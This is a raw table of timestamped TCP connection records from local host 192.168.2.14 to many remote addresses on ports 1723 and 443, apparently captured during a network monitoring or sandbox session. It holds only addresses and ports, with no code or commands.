Mar 21, 2024 05:21:09.921281099 CET	17304	1723	192.168.2.14	101.215.5.149
Mar 21, 2024 05:21:09.921284914 CET	17304	1723	192.168.2.14	101.253.8.26
Mar 21, 2024 05:21:09.921294928 CET	17304	1723	192.168.2.14	101.50.186.179
Mar 21, 2024 05:21:09.921294928 CET	17304	1723	192.168.2.14	101.204.219.153
Mar 21, 2024 05:21:09.921295881 CET	17304	1723	192.168.2.14	101.58.24.209
Mar 21, 2024 05:21:09.921359062 CET	17304	1723	192.168.2.14	101.223.255.211
Mar 21, 2024 05:21:09.921360016 CET	17304	1723	192.168.2.14	101.87.104.122
Mar 21, 2024 05:21:09.921365023 CET	17304	1723	192.168.2.14	101.110.133.246
Mar 21, 2024 05:21:09.921365023 CET	17304	1723	192.168.2.14	101.183.149.218
Mar 21, 2024 05:21:09.921420097 CET	17304	1723	192.168.2.14	101.244.184.24
Mar 21, 2024 05:21:09.921423912 CET	17304	1723	192.168.2.14	101.90.216.81
Mar 21, 2024 05:21:09.921423912 CET	17304	1723	192.168.2.14	101.121.252.206
Mar 21, 2024 05:21:09.921425104 CET	17304	1723	192.168.2.14	101.114.191.70
Mar 21, 2024 05:21:09.921431065 CET	17304	1723	192.168.2.14	101.29.41.153
Mar 21, 2024 05:21:09.921565056 CET	17304	1723	192.168.2.14	101.228.248.94
Mar 21, 2024 05:21:09.921621084 CET	17304	1723	192.168.2.14	101.197.202.99
Mar 21, 2024 05:21:09.921627045 CET	17304	1723	192.168.2.14	101.43.57.236
Mar 21, 2024 05:21:09.921627998 CET	17304	1723	192.168.2.14	101.91.230.115
Mar 21, 2024 05:21:09.921627998 CET	17304	1723	192.168.2.14	101.157.44.185
Mar 21, 2024 05:21:09.921633005 CET	17304	1723	192.168.2.14	101.211.175.123
Mar 21, 2024 05:21:09.921693087 CET	17304	1723	192.168.2.14	101.14.21.78
Mar 21, 2024 05:21:09.921693087 CET	17304	1723	192.168.2.14	101.135.228.207
Mar 21, 2024 05:21:09.921693087 CET	17304	1723	192.168.2.14	101.25.83.228
Mar 21, 2024 05:21:09.921715975 CET	17304	1723	192.168.2.14	101.124.55.242
Mar 21, 2024 05:21:09.921757936 CET	17304	1723	192.168.2.14	101.29.145.16
Mar 21, 2024 05:21:09.921766996 CET	17304	1723	192.168.2.14	101.148.88.34
Mar 21, 2024 05:21:09.921770096 CET	17304	1723	192.168.2.14	101.119.201.155
Mar 21, 2024 05:21:09.921770096 CET	17304	1723	192.168.2.14	101.13.111.182
Mar 21, 2024 05:21:09.921772957 CET	17304	1723	192.168.2.14	101.228.46.219
Mar 21, 2024 05:21:09.921813011 CET	17304	1723	192.168.2.14	101.177.67.157
Mar 21, 2024 05:21:09.921818972 CET	17304	1723	192.168.2.14	101.245.186.9
Mar 21, 2024 05:21:09.921829939 CET	17304	1723	192.168.2.14	101.64.3.132
Mar 21, 2024 05:21:09.921845913 CET	17304	1723	192.168.2.14	101.205.84.202
Mar 21, 2024 05:21:09.921900034 CET	17304	1723	192.168.2.14	101.243.132.108
Mar 21, 2024 05:21:09.921906948 CET	17297	443	192.168.2.14	178.99.78.106
Mar 21, 2024 05:21:09.921906948 CET	17304	1723	192.168.2.14	101.200.56.129
Mar 21, 2024 05:21:09.921909094 CET	17304	1723	192.168.2.14	101.249.218.71
Mar 21, 2024 05:21:09.921909094 CET	17297	443	192.168.2.14	178.251.184.23
Mar 21, 2024 05:21:09.921909094 CET	17297	443	192.168.2.14	2.152.17.148
Mar 21, 2024 05:21:09.921910048 CET	17297	443	192.168.2.14	5.130.20.59
Mar 21, 2024 05:21:09.921916962 CET	17304	1723	192.168.2.14	101.174.125.53
Mar 21, 2024 05:21:09.921920061 CET	443	17297	178.99.78.106	192.168.2.14
Mar 21, 2024 05:21:09.921922922 CET	443	17297	178.251.184.23	192.168.2.14
Mar 21, 2024 05:21:09.921933889 CET	17297	443	192.168.2.14	178.24.12.120
Mar 21, 2024 05:21:09.921938896 CET	443	17297	2.152.17.148	192.168.2.14
Mar 21, 2024 05:21:09.921942949 CET	443	17297	178.24.12.120	192.168.2.14
Mar 21, 2024 05:21:09.921950102 CET	443	17297	5.130.20.59	192.168.2.14
Mar 21, 2024 05:21:09.921981096 CET	17297	443	192.168.2.14	37.172.33.26
Mar 21, 2024 05:21:09.921983004 CET	17297	443	192.168.2.14	94.143.200.173
Mar 21, 2024 05:21:09.921983004 CET	17297	443	192.168.2.14	178.99.78.106
Mar 21, 2024 05:21:09.921983004 CET	17297	443	192.168.2.14	210.169.100.92
Mar 21, 2024 05:21:09.921983004 CET	17297	443	192.168.2.14	5.239.77.3
Mar 21, 2024 05:21:09.921983957 CET	17297	443	192.168.2.14	2.40.191.110
Mar 21, 2024 05:21:09.921983957 CET	17297	443	192.168.2.14	210.20.74.34
Mar 21, 2024 05:21:09.921983957 CET	17297	443	192.168.2.14	178.251.184.23
Mar 21, 2024 05:21:09.921984911 CET	17297	443	192.168.2.14	109.163.29.120
Mar 21, 2024 05:21:09.921984911 CET	17297	443	192.168.2.14	94.71.38.182
Mar 21, 2024 05:21:09.921984911 CET	17297	443	192.168.2.14	210.202.53.183
Mar 21, 2024 05:21:09.921984911 CET	17297	443	192.168.2.14	79.91.250.77
Mar 21, 2024 05:21:09.921988964 CET	17297	443	192.168.2.14	37.220.133.152
Mar 21, 2024 05:21:09.921988964 CET	443	17297	37.172.33.26	192.168.2.14
Mar 21, 2024 05:21:09.921992064 CET	443	17297	5.239.77.3	192.168.2.14
Mar 21, 2024 05:21:09.921993017 CET	443	17297	2.40.191.110	192.168.2.14
Mar 21, 2024 05:21:09.921997070 CET	443	17297	37.220.133.152	192.168.2.14
Mar 21, 2024 05:21:09.921998024 CET	443	17297	210.169.100.92	192.168.2.14
Mar 21, 2024 05:21:09.921998978 CET	443	17297	109.163.29.120	192.168.2.14
Mar 21, 2024 05:21:09.922000885 CET	443	17297	210.20.74.34	192.168.2.14
Mar 21, 2024 05:21:09.922002077 CET	443	17297	94.143.200.173	192.168.2.14
Mar 21, 2024 05:21:09.922009945 CET	17297	443	192.168.2.14	210.171.212.189
Mar 21, 2024 05:21:09.922009945 CET	17297	443	192.168.2.14	5.161.117.71
Mar 21, 2024 05:21:09.922009945 CET	17297	443	192.168.2.14	178.24.12.120
Mar 21, 2024 05:21:09.922013998 CET	443	17297	94.71.38.182	192.168.2.14
Mar 21, 2024 05:21:09.922014952 CET	17297	443	192.168.2.14	2.150.231.17
Mar 21, 2024 05:21:09.922018051 CET	443	17297	210.202.53.183	192.168.2.14
Mar 21, 2024 05:21:09.922019005 CET	443	17297	210.171.212.189	192.168.2.14
Mar 21, 2024 05:21:09.922020912 CET	443	17297	2.150.231.17	192.168.2.14
Mar 21, 2024 05:21:09.922023058 CET	443	17297	79.91.250.77	192.168.2.14
Mar 21, 2024 05:21:09.922024012 CET	443	17297	5.161.117.71	192.168.2.14
Mar 21, 2024 05:21:09.922041893 CET	17297	443	192.168.2.14	94.253.8.215
Mar 21, 2024 05:21:09.922050953 CET	443	17297	94.253.8.215	192.168.2.14
Mar 21, 2024 05:21:09.922056913 CET	17297	443	192.168.2.14	79.63.35.230
Mar 21, 2024 05:21:09.922061920 CET	17297	443	192.168.2.14	210.169.100.92
Mar 21, 2024 05:21:09.922065020 CET	443	17297	79.63.35.230	192.168.2.14
Mar 21, 2024 05:21:09.922070980 CET	17297	443	192.168.2.14	94.62.106.171
Mar 21, 2024 05:21:09.922074080 CET	17297	443	192.168.2.14	79.31.64.8
Mar 21, 2024 05:21:09.922074080 CET	17297	443	192.168.2.14	37.172.33.26
Mar 21, 2024 05:21:09.922074080 CET	17297	443	192.168.2.14	37.220.133.152
Mar 21, 2024 05:21:09.922074080 CET	17297	443	192.168.2.14	42.221.133.124
Mar 21, 2024 05:21:09.922075987 CET	17297	443	192.168.2.14	2.152.17.148
Mar 21, 2024 05:21:09.922075987 CET	443	17297	94.62.106.171	192.168.2.14
Mar 21, 2024 05:21:09.922077894 CET	17297	443	192.168.2.14	210.171.212.189
Mar 21, 2024 05:21:09.922075987 CET	17297	443	192.168.2.14	5.130.20.59
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	5.239.77.3
Mar 21, 2024 05:21:09.922081947 CET	443	17297	42.221.133.124	192.168.2.14
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	2.150.231.17
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	37.231.140.149
Mar 21, 2024 05:21:09.922077894 CET	17297	443	192.168.2.14	5.161.117.71
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	2.40.191.110
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	94.71.38.182
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	109.163.29.120
Mar 21, 2024 05:21:09.922076941 CET	17297	443	192.168.2.14	79.91.250.77
Mar 21, 2024 05:21:09.922091007 CET	443	17297	79.31.64.8	192.168.2.14
Mar 21, 2024 05:21:09.922101021 CET	443	17297	37.231.140.149	192.168.2.14
Mar 21, 2024 05:21:09.922137022 CET	17297	443	192.168.2.14	94.143.200.173
Mar 21, 2024 05:21:09.922137022 CET	17297	443	192.168.2.14	79.31.64.8
Mar 21, 2024 05:21:09.922137976 CET	17297	443	192.168.2.14	94.62.106.171
Mar 21, 2024 05:21:09.922138929 CET	17297	443	192.168.2.14	210.202.53.183
Mar 21, 2024 05:21:09.922138929 CET	17297	443	192.168.2.14	210.20.74.34
Mar 21, 2024 05:21:09.922161102 CET	17297	443	192.168.2.14	79.63.35.230
Mar 21, 2024 05:21:09.922194004 CET	17297	443	192.168.2.14	94.253.8.215
Mar 21, 2024 05:21:09.922194958 CET	17304	1723	192.168.2.14	101.15.38.67
Mar 21, 2024 05:21:09.922195911 CET	17297	443	192.168.2.14	79.126.61.7
Mar 21, 2024 05:21:09.922199011 CET	17297	443	192.168.2.14	42.221.133.124
Mar 21, 2024 05:21:09.922202110 CET	443	17297	79.126.61.7	192.168.2.14
Mar 21, 2024 05:21:09.922216892 CET	17304	1723	192.168.2.14	101.66.216.88
Mar 21, 2024 05:21:09.922218084 CET	17304	1723	192.168.2.14	101.128.66.30
Mar 21, 2024 05:21:09.922219992 CET	17297	443	192.168.2.14	212.116.216.243
Mar 21, 2024 05:21:09.922219992 CET	17297	443	192.168.2.14	37.231.140.149
Mar 21, 2024 05:21:09.922220945 CET	17297	443	192.168.2.14	94.43.52.117
Mar 21, 2024 05:21:09.922220945 CET	17297	443	192.168.2.14	37.206.108.214
Mar 21, 2024 05:21:09.922219992 CET	17297	443	192.168.2.14	79.194.168.140
Mar 21, 2024 05:21:09.922220945 CET	17304	1723	192.168.2.14	101.101.81.58
Mar 21, 2024 05:21:09.922223091 CET	17297	443	192.168.2.14	79.84.47.85
Mar 21, 2024 05:21:09.922223091 CET	17297	443	192.168.2.14	5.93.176.15
Mar 21, 2024 05:21:09.922223091 CET	17297	443	192.168.2.14	42.41.249.85
Mar 21, 2024 05:21:09.922225952 CET	443	17297	212.116.216.243	192.168.2.14
Mar 21, 2024 05:21:09.922228098 CET	443	17297	94.43.52.117	192.168.2.14
Mar 21, 2024 05:21:09.922231913 CET	443	17297	37.206.108.214	192.168.2.14
Mar 21, 2024 05:21:09.922233105 CET	443	17297	79.84.47.85	192.168.2.14
Mar 21, 2024 05:21:09.922235012 CET	443	17297	79.194.168.140	192.168.2.14
Mar 21, 2024 05:21:09.922235966 CET	17304	1723	192.168.2.14	101.54.203.166
Mar 21, 2024 05:21:09.922235966 CET	17297	443	192.168.2.14	5.96.163.67
Mar 21, 2024 05:21:09.922235966 CET	17297	443	192.168.2.14	2.101.236.36
Mar 21, 2024 05:21:09.922235966 CET	17297	443	192.168.2.14	178.193.16.155
Mar 21, 2024 05:21:09.922241926 CET	17297	443	192.168.2.14	42.41.71.99
Mar 21, 2024 05:21:09.922241926 CET	17297	443	192.168.2.14	109.20.71.66
Mar 21, 2024 05:21:09.922241926 CET	17304	1723	192.168.2.14	101.226.120.27
Mar 21, 2024 05:21:09.922244072 CET	443	17297	5.93.176.15	192.168.2.14
Mar 21, 2024 05:21:09.922245979 CET	17297	443	192.168.2.14	79.139.203.157
Mar 21, 2024 05:21:09.922247887 CET	443	17297	5.96.163.67	192.168.2.14
Mar 21, 2024 05:21:09.922251940 CET	443	17297	42.41.71.99	192.168.2.14
Mar 21, 2024 05:21:09.922252893 CET	443	17297	79.139.203.157	192.168.2.14
Mar 21, 2024 05:21:09.922252893 CET	443	17297	42.41.249.85	192.168.2.14
Mar 21, 2024 05:21:09.922255993 CET	17297	443	192.168.2.14	5.241.82.132
Mar 21, 2024 05:21:09.922261000 CET	443	17297	2.101.236.36	192.168.2.14
Mar 21, 2024 05:21:09.922261000 CET	443	17297	109.20.71.66	192.168.2.14
Mar 21, 2024 05:21:09.922261953 CET	443	17297	178.193.16.155	192.168.2.14
Mar 21, 2024 05:21:09.922266960 CET	443	17297	5.241.82.132	192.168.2.14
Mar 21, 2024 05:21:09.922317982 CET	17297	443	192.168.2.14	2.141.176.95
Mar 21, 2024 05:21:09.922317982 CET	17297	443	192.168.2.14	109.198.61.51
Mar 21, 2024 05:21:09.922324896 CET	443	17297	2.141.176.95	192.168.2.14
Mar 21, 2024 05:21:09.922331095 CET	17304	1723	192.168.2.14	101.98.108.27
Mar 21, 2024 05:21:09.922333002 CET	443	17297	109.198.61.51	192.168.2.14
Mar 21, 2024 05:21:09.922333956 CET	17297	443	192.168.2.14	37.15.118.221
Mar 21, 2024 05:21:09.922333956 CET	17297	443	192.168.2.14	37.206.108.214
Mar 21, 2024 05:21:09.922334909 CET	17297	443	192.168.2.14	79.170.227.80
Mar 21, 2024 05:21:09.922337055 CET	17304	1723	192.168.2.14	101.67.76.148
Mar 21, 2024 05:21:09.922337055 CET	17297	443	192.168.2.14	118.117.136.133
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	5.16.136.203
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	212.116.216.243
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	94.43.52.117
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	5.93.176.15
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	79.84.47.85
Mar 21, 2024 05:21:09.922338009 CET	17297	443	192.168.2.14	42.41.249.85
Mar 21, 2024 05:21:09.922339916 CET	443	17297	79.170.227.80	192.168.2.14
Mar 21, 2024 05:21:09.922346115 CET	443	17297	118.117.136.133	192.168.2.14
Mar 21, 2024 05:21:09.922346115 CET	443	17297	37.15.118.221	192.168.2.14
Mar 21, 2024 05:21:09.922349930 CET	17297	443	192.168.2.14	94.4.230.142
Mar 21, 2024 05:21:09.922353029 CET	443	17297	5.16.136.203	192.168.2.14
Mar 21, 2024 05:21:09.922354937 CET	443	17297	94.4.230.142	192.168.2.14
Mar 21, 2024 05:21:09.922363043 CET	17297	443	192.168.2.14	79.126.61.7
Mar 21, 2024 05:21:09.922363997 CET	17297	443	192.168.2.14	42.41.71.99
Mar 21, 2024 05:21:09.922363997 CET	17297	443	192.168.2.14	109.20.71.66
Mar 21, 2024 05:21:09.922369003 CET	17297	443	192.168.2.14	79.139.203.157
Mar 21, 2024 05:21:09.922378063 CET	17297	443	192.168.2.14	5.96.163.67
Mar 21, 2024 05:21:09.922378063 CET	17297	443	192.168.2.14	2.101.236.36
Mar 21, 2024 05:21:09.922378063 CET	17297	443	192.168.2.14	178.193.16.155
Mar 21, 2024 05:21:09.922405958 CET	17304	1723	192.168.2.14	101.170.127.122
Mar 21, 2024 05:21:09.922405958 CET	17297	443	192.168.2.14	5.241.82.132
Mar 21, 2024 05:21:09.922425032 CET	17297	443	192.168.2.14	2.23.89.18
Mar 21, 2024 05:21:09.922425032 CET	17297	443	192.168.2.14	37.15.118.221
Mar 21, 2024 05:21:09.922425985 CET	17304	1723	192.168.2.14	101.51.2.27
Mar 21, 2024 05:21:09.922425985 CET	17304	1723	192.168.2.14	101.39.81.213
Mar 21, 2024 05:21:09.922426939 CET	17297	443	192.168.2.14	79.170.227.80
Mar 21, 2024 05:21:09.922425985 CET	17297	443	192.168.2.14	118.117.136.133
Mar 21, 2024 05:21:09.922426939 CET	17297	443	192.168.2.14	5.16.136.203
Mar 21, 2024 05:21:09.922426939 CET	17297	443	192.168.2.14	79.51.59.101
Mar 21, 2024 05:21:09.922426939 CET	17304	1723	192.168.2.14	101.122.139.37
Mar 21, 2024 05:21:09.922431946 CET	443	17297	2.23.89.18	192.168.2.14
Mar 21, 2024 05:21:09.922437906 CET	443	17297	79.51.59.101	192.168.2.14
Mar 21, 2024 05:21:09.922442913 CET	17297	443	192.168.2.14	109.251.42.105
Mar 21, 2024 05:21:09.922442913 CET	17304	1723	192.168.2.14	101.103.137.113
Mar 21, 2024 05:21:09.922442913 CET	17297	443	192.168.2.14	118.198.145.195
Mar 21, 2024 05:21:09.922451019 CET	17297	443	192.168.2.14	210.121.59.212
Mar 21, 2024 05:21:09.922451973 CET	443	17297	109.251.42.105	192.168.2.14
Mar 21, 2024 05:21:09.922461033 CET	443	17297	210.121.59.212	192.168.2.14
Mar 21, 2024 05:21:09.922465086 CET	443	17297	118.198.145.195	192.168.2.14
Mar 21, 2024 05:21:09.922482014 CET	17297	443	192.168.2.14	94.206.215.71
Mar 21, 2024 05:21:09.922482014 CET	17297	443	192.168.2.14	5.28.33.147
Mar 21, 2024 05:21:09.922482967 CET	17297	443	192.168.2.14	2.28.92.19
Mar 21, 2024 05:21:09.922483921 CET	17297	443	192.168.2.14	94.4.230.142
Mar 21, 2024 05:21:09.922483921 CET	17297	443	192.168.2.14	212.199.97.134
Mar 21, 2024 05:21:09.922483921 CET	17297	443	192.168.2.14	94.221.42.237
Mar 21, 2024 05:21:09.922487974 CET	443	17297	94.206.215.71	192.168.2.14
Mar 21, 2024 05:21:09.922487974 CET	443	17297	5.28.33.147	192.168.2.14
Mar 21, 2024 05:21:09.922487974 CET	17297	443	192.168.2.14	79.194.168.140
Mar 21, 2024 05:21:09.922488928 CET	443	17297	2.28.92.19	192.168.2.14
Mar 21, 2024 05:21:09.922487974 CET	17297	443	192.168.2.14	2.141.176.95
Mar 21, 2024 05:21:09.922487974 CET	17297	443	192.168.2.14	109.198.61.51
Mar 21, 2024 05:21:09.922496080 CET	443	17297	212.199.97.134	192.168.2.14
Mar 21, 2024 05:21:09.922497988 CET	443	17297	94.221.42.237	192.168.2.14
Mar 21, 2024 05:21:09.922502041 CET	17297	443	192.168.2.14	94.207.56.162
Mar 21, 2024 05:21:09.922502041 CET	17297	443	192.168.2.14	109.251.42.105
Mar 21, 2024 05:21:09.922507048 CET	17297	443	192.168.2.14	42.98.15.191
Mar 21, 2024 05:21:09.922507048 CET	17297	443	192.168.2.14	42.130.195.79
Mar 21, 2024 05:21:09.922508001 CET	17297	443	192.168.2.14	79.3.172.222
Mar 21, 2024 05:21:09.922508001 CET	17297	443	192.168.2.14	2.227.161.153
Mar 21, 2024 05:21:09.922508001 CET	17297	443	192.168.2.14	2.23.89.18
Mar 21, 2024 05:21:09.922508001 CET	17304	1723	192.168.2.14	101.184.28.225
Mar 21, 2024 05:21:09.922508955 CET	443	17297	94.207.56.162	192.168.2.14
Mar 21, 2024 05:21:09.922511101 CET	17304	1723	192.168.2.14	101.25.239.9
Mar 21, 2024 05:21:09.922507048 CET	17297	443	192.168.2.14	79.51.59.101
Mar 21, 2024 05:21:09.922516108 CET	443	17297	42.98.15.191	192.168.2.14
Mar 21, 2024 05:21:09.922518015 CET	443	17297	79.3.172.222	192.168.2.14
Mar 21, 2024 05:21:09.922524929 CET	443	17297	42.130.195.79	192.168.2.14
Mar 21, 2024 05:21:09.922527075 CET	17297	443	192.168.2.14	118.43.176.242
Mar 21, 2024 05:21:09.922533035 CET	443	17297	2.227.161.153	192.168.2.14
Mar 21, 2024 05:21:09.922538042 CET	443	17297	118.43.176.242	192.168.2.14
Mar 21, 2024 05:21:09.922549009 CET	17304	1723	192.168.2.14	101.157.107.55
Mar 21, 2024 05:21:09.922569990 CET	17297	443	192.168.2.14	210.121.59.212
Mar 21, 2024 05:21:09.922586918 CET	17297	443	192.168.2.14	42.130.195.79
Mar 21, 2024 05:21:09.922586918 CET	17297	443	192.168.2.14	79.3.172.222
Mar 21, 2024 05:21:09.922586918 CET	17297	443	192.168.2.14	2.227.161.153
Mar 21, 2024 05:21:09.922586918 CET	17297	443	192.168.2.14	109.254.8.52
Mar 21, 2024 05:21:09.922589064 CET	17304	1723	192.168.2.14	101.177.112.236
Mar 21, 2024 05:21:09.922589064 CET	17304	1723	192.168.2.14	101.46.132.97
Mar 21, 2024 05:21:09.922589064 CET	17297	443	192.168.2.14	5.109.134.114
Mar 21, 2024 05:21:09.922594070 CET	17297	443	192.168.2.14	42.98.15.191
Mar 21, 2024 05:21:09.922594070 CET	17297	443	192.168.2.14	2.28.92.19
Mar 21, 2024 05:21:09.922595024 CET	443	17297	109.254.8.52	192.168.2.14
Mar 21, 2024 05:21:09.922600985 CET	17304	1723	192.168.2.14	101.155.188.49
Mar 21, 2024 05:21:09.922601938 CET	443	17297	5.109.134.114	192.168.2.14
Mar 21, 2024 05:21:09.922610044 CET	17297	443	192.168.2.14	5.28.33.147
Mar 21, 2024 05:21:09.922616959 CET	17297	443	192.168.2.14	118.198.145.195
Mar 21, 2024 05:21:09.922616959 CET	17297	443	192.168.2.14	94.207.56.162
Mar 21, 2024 05:21:09.922616959 CET	17297	443	192.168.2.14	210.97.64.80
Mar 21, 2024 05:21:09.922626972 CET	443	17297	210.97.64.80	192.168.2.14
Mar 21, 2024 05:21:09.922638893 CET	17297	443	192.168.2.14	118.43.176.242
Mar 21, 2024 05:21:09.922640085 CET	17297	443	192.168.2.14	94.206.215.71
Mar 21, 2024 05:21:09.922640085 CET	17297	443	192.168.2.14	94.221.42.237
Mar 21, 2024 05:21:09.922640085 CET	17297	443	192.168.2.14	212.199.97.134
Mar 21, 2024 05:21:09.922652960 CET	17297	443	192.168.2.14	42.47.184.246
Mar 21, 2024 05:21:09.922653913 CET	17297	443	192.168.2.14	109.254.8.52
Mar 21, 2024 05:21:09.922657967 CET	17297	443	192.168.2.14	37.168.152.75
Mar 21, 2024 05:21:09.922657967 CET	443	17297	42.47.184.246	192.168.2.14
Mar 21, 2024 05:21:09.922657967 CET	17297	443	192.168.2.14	109.34.207.28
Mar 21, 2024 05:21:09.922661066 CET	17297	443	192.168.2.14	5.213.188.84
Mar 21, 2024 05:21:09.922662973 CET	17297	443	192.168.2.14	42.148.234.48
Mar 21, 2024 05:21:09.922662973 CET	17297	443	192.168.2.14	42.44.29.252
Mar 21, 2024 05:21:09.922662973 CET	17297	443	192.168.2.14	178.66.172.174
Mar 21, 2024 05:21:09.922662973 CET	17297	443	192.168.2.14	42.32.150.111
Mar 21, 2024 05:21:09.922662973 CET	17297	443	192.168.2.14	79.188.128.112
Mar 21, 2024 05:21:09.922666073 CET	443	17297	5.213.188.84	192.168.2.14
Mar 21, 2024 05:21:09.922667027 CET	443	17297	37.168.152.75	192.168.2.14
Mar 21, 2024 05:21:09.922671080 CET	17297	443	192.168.2.14	5.43.63.43
Mar 21, 2024 05:21:09.922671080 CET	17297	443	192.168.2.14	5.86.65.87
Mar 21, 2024 05:21:09.922671080 CET	443	17297	178.66.172.174	192.168.2.14
Mar 21, 2024 05:21:09.922672987 CET	443	17297	42.148.234.48	192.168.2.14
Mar 21, 2024 05:21:09.922677040 CET	443	17297	5.43.63.43	192.168.2.14
Mar 21, 2024 05:21:09.922677040 CET	17297	443	192.168.2.14	94.115.173.194
Mar 21, 2024 05:21:09.922677040 CET	17297	443	192.168.2.14	5.109.134.114
Mar 21, 2024 05:21:09.922677040 CET	17297	443	192.168.2.14	178.64.70.31
Mar 21, 2024 05:21:09.922679901 CET	17297	443	192.168.2.14	178.53.196.224
Mar 21, 2024 05:21:09.922679901 CET	17297	443	192.168.2.14	210.79.241.97
Mar 21, 2024 05:21:09.922679901 CET	443	17297	109.34.207.28	192.168.2.14
Mar 21, 2024 05:21:09.922679901 CET	443	17297	42.32.150.111	192.168.2.14
Mar 21, 2024 05:21:09.922682047 CET	443	17297	42.44.29.252	192.168.2.14
Mar 21, 2024 05:21:09.922682047 CET	443	17297	5.86.65.87	192.168.2.14
Mar 21, 2024 05:21:09.922687054 CET	443	17297	94.115.173.194	192.168.2.14
Mar 21, 2024 05:21:09.922688007 CET	443	17297	178.53.196.224	192.168.2.14
Mar 21, 2024 05:21:09.922689915 CET	443	17297	178.64.70.31	192.168.2.14
Mar 21, 2024 05:21:09.922693014 CET	17297	443	192.168.2.14	210.97.64.80
Mar 21, 2024 05:21:09.922693014 CET	17297	443	192.168.2.14	42.25.141.4
Mar 21, 2024 05:21:09.922693014 CET	443	17297	79.188.128.112	192.168.2.14
Mar 21, 2024 05:21:09.922697067 CET	443	17297	210.79.241.97	192.168.2.14
Mar 21, 2024 05:21:09.922699928 CET	443	17297	42.25.141.4	192.168.2.14
Mar 21, 2024 05:21:09.922700882 CET	17297	443	192.168.2.14	212.8.1.215
Mar 21, 2024 05:21:09.922700882 CET	17297	443	192.168.2.14	37.133.28.150
Mar 21, 2024 05:21:09.922700882 CET	17297	443	192.168.2.14	109.238.248.177
Mar 21, 2024 05:21:09.922705889 CET	17297	443	192.168.2.14	79.29.15.222
Mar 21, 2024 05:21:09.922708988 CET	17297	443	192.168.2.14	5.51.157.39
Mar 21, 2024 05:21:09.922715902 CET	443	17297	5.51.157.39	192.168.2.14
Mar 21, 2024 05:21:09.922720909 CET	443	17297	212.8.1.215	192.168.2.14
Mar 21, 2024 05:21:09.922723055 CET	443	17297	79.29.15.222	192.168.2.14
Mar 21, 2024 05:21:09.922723055 CET	443	17297	37.133.28.150	192.168.2.14
Mar 21, 2024 05:21:09.922727108 CET	443	17297	109.238.248.177	192.168.2.14
Mar 21, 2024 05:21:09.922740936 CET	17297	443	192.168.2.14	212.19.223.22
Mar 21, 2024 05:21:09.922746897 CET	443	17297	212.19.223.22	192.168.2.14
Mar 21, 2024 05:21:09.922750950 CET	17297	443	192.168.2.14	42.148.234.48
Mar 21, 2024 05:21:09.922751904 CET	17297	443	192.168.2.14	42.44.29.252
Mar 21, 2024 05:21:09.922751904 CET	17297	443	192.168.2.14	42.32.150.111
Mar 21, 2024 05:21:09.922751904 CET	17297	443	192.168.2.14	79.188.128.112
Mar 21, 2024 05:21:09.922754049 CET	17297	443	192.168.2.14	37.168.152.75
Mar 21, 2024 05:21:09.922755957 CET	17297	443	192.168.2.14	5.213.188.84
Mar 21, 2024 05:21:09.922759056 CET	17297	443	192.168.2.14	178.66.172.174
Mar 21, 2024 05:21:09.922770023 CET	17297	443	192.168.2.14	42.47.184.246
Mar 21, 2024 05:21:09.922770023 CET	17297	443	192.168.2.14	5.43.63.43
Mar 21, 2024 05:21:09.922770023 CET	17297	443	192.168.2.14	5.86.65.87
Mar 21, 2024 05:21:09.922777891 CET	17297	443	192.168.2.14	37.196.190.249
Mar 21, 2024 05:21:09.922780037 CET	17297	443	192.168.2.14	42.25.141.4
Mar 21, 2024 05:21:09.922780037 CET	17297	443	192.168.2.14	212.19.223.22
Mar 21, 2024 05:21:09.922780991 CET	17297	443	192.168.2.14	178.53.196.224
Mar 21, 2024 05:21:09.922781944 CET	17297	443	192.168.2.14	212.8.1.215
Mar 21, 2024 05:21:09.922781944 CET	17297	443	192.168.2.14	109.238.248.177
Mar 21, 2024 05:21:09.922782898 CET	443	17297	37.196.190.249	192.168.2.14
Mar 21, 2024 05:21:09.922791004 CET	17297	443	192.168.2.14	109.34.207.28
Mar 21, 2024 05:21:09.922792912 CET	17297	443	192.168.2.14	210.79.241.97
Mar 21, 2024 05:21:09.922794104 CET	17297	443	192.168.2.14	94.115.173.194
Mar 21, 2024 05:21:09.922794104 CET	17297	443	192.168.2.14	178.64.70.31
Mar 21, 2024 05:21:09.922794104 CET	17297	443	192.168.2.14	5.51.157.39
Mar 21, 2024 05:21:09.922841072 CET	17297	443	192.168.2.14	37.133.28.150
Mar 21, 2024 05:21:09.922841072 CET	17297	443	192.168.2.14	79.29.15.222
Mar 21, 2024 05:21:09.922847986 CET	17304	1723	192.168.2.14	101.72.94.202
Mar 21, 2024 05:21:09.922908068 CET	17304	1723	192.168.2.14	101.187.243.230
Mar 21, 2024 05:21:09.922909021 CET	17297	443	192.168.2.14	212.81.82.119
Mar 21, 2024 05:21:09.922909021 CET	17297	443	192.168.2.14	37.196.190.249
Mar 21, 2024 05:21:09.922909021 CET	17297	443	192.168.2.14	178.45.208.214
Mar 21, 2024 05:21:09.922910929 CET	17297	443	192.168.2.14	42.117.188.89
Mar 21, 2024 05:21:09.922911882 CET	17297	443	192.168.2.14	37.214.72.225
Mar 21, 2024 05:21:09.922911882 CET	17297	443	192.168.2.14	5.199.108.153
Mar 21, 2024 05:21:09.922916889 CET	443	17297	42.117.188.89	192.168.2.14
Mar 21, 2024 05:21:09.922918081 CET	443	17297	212.81.82.119	192.168.2.14
Mar 21, 2024 05:21:09.922919035 CET	17297	443	192.168.2.14	37.87.80.236
Mar 21, 2024 05:21:09.922926903 CET	443	17297	37.214.72.225	192.168.2.14
Mar 21, 2024 05:21:09.922928095 CET	443	17297	37.87.80.236	192.168.2.14
Mar 21, 2024 05:21:09.922928095 CET	443	17297	5.199.108.153	192.168.2.14
Mar 21, 2024 05:21:09.922929049 CET	17297	443	192.168.2.14	178.245.124.49
Mar 21, 2024 05:21:09.922928095 CET	17304	1723	192.168.2.14	101.153.99.83
Mar 21, 2024 05:21:09.922928095 CET	17304	1723	192.168.2.14	101.141.199.6
